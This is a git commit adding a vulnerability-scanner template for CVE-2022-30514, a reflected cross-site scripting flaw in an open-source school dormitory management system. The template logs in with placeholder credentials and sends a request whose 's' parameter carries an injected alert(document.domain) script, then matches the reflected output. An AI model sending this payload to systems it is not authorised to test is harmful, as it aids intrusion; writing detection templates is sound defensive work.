Merge pull request #5568 from tess-ss/patch-19

Create CVE-2022-30514.yaml
patch-1
Prince Chaddha 2022-10-06 02:04:13 +05:30 committed by GitHub
commit ca97fb8d83
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
id: CVE-2022-30514
info:
name: School Dormitory Management - Authenticated XSS via "s=" parameter
author: tess
severity: medium
description: |
School Dormitory Management System v1.0 is vulnerable to reflected cross-site scripting (XSS) via admin/inc/navigation.php:125
reference:
- https://github.com/bigzooooz/CVE-2022-30514
- https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-30514
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30514
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-30514
cwe-id: CWE-79
metadata:
verified: true
tags: cve,cve2022,xss,authenticated
requests:
- raw:
- |
POST /dms/admin/login.php?f=login HTTP/1.1
Host: {{Hostname}}
username={{username}}&password={{password}}
- |
GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
Host: {{Hostname}}
req-condition: true
redirects: true
max-redirects: 2
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "''; alert(document.domain); s='';"
- "School Dormitory Management System"
condition: and
- type: status
status:
- 200